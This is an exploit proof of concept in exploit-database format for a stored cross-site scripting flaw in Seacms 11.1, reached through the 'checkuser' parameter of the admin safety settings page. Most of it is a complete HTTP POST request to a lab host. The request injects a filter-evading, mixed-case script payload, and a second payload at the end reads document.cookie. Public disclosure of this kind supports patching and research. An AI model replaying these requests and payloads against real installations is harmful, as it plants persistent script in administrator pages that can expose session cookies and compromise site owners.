Seacms 11.1 - 'checkuser' Stored XSS

# Exploit Title: Seacms 11.1 - 'checkuser' Stored XSS
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

POST /SEACMS111/5f9js3/admin_safe.php?action=setting HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)
Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://192.168.137.139
Connection: close
Referer: http://192.168.137.139/SEACMS111/5f9js3/admin_safe.php?action=setting
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=1607175396;
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MDoiIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

checkuser=%22%3E%3CsCrIpT%3Ealert%281%29%3C%2FsCrIpT%3E&checkhta=on&btnsetting=%E6%8F%90%E4%BA%A4

Vulnerable parameters： checkuser

payload："><ScRiPt>alert(document.cookie)</ScRiPt>